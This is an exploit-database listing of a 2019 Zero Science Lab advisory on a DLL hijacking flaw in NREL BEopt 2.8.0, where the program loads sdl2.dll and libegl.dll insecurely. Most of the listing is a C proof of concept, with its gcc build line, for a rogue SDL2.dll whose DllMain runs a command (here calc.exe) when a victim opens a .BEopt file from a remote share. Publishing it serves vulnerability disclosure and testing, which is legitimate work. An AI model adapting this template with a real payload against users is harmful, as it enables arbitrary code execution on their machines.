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NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution Exploit

Author
LiquidWorm
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-32343
Category
local exploits
Date add
12-03-2019
Platform
windows
/*

NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution


Vendor: NREL
Product web page: https://beopt.nrel.gov
Affected version: 2.8.0.0, 2.7.0.0 and 2.6.0.1

Summary: The BEoptaC/ (Building Energy Optimization Tool) software provides
capabilities to evaluate residential building designs and identify cost-optimal
efficiency packages at various levels of whole-house energy savings along
the path to zero net energy.

Desc: BEopt suffers from a DLL Hijacking issue. The vulnerability is caused
due to the application loading libraries (sdl2.dll and libegl.dll) in an insecure
manner. This can be exploited to load arbitrary libraries by tricking a user into
opening a related application file .BEopt located on a remote WebDAV or SMB share.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5513
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5513.php


06.02.2019

*/

// gcc -shared -o SDL2.dll exploit.c

#include <windows.h> 

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
  exec();
  return 0;
}

int exec()
{
  WinExec("calc.exe" , SW_NORMAL);
  return 0;
}

#  0day.today [2024-12-23]  #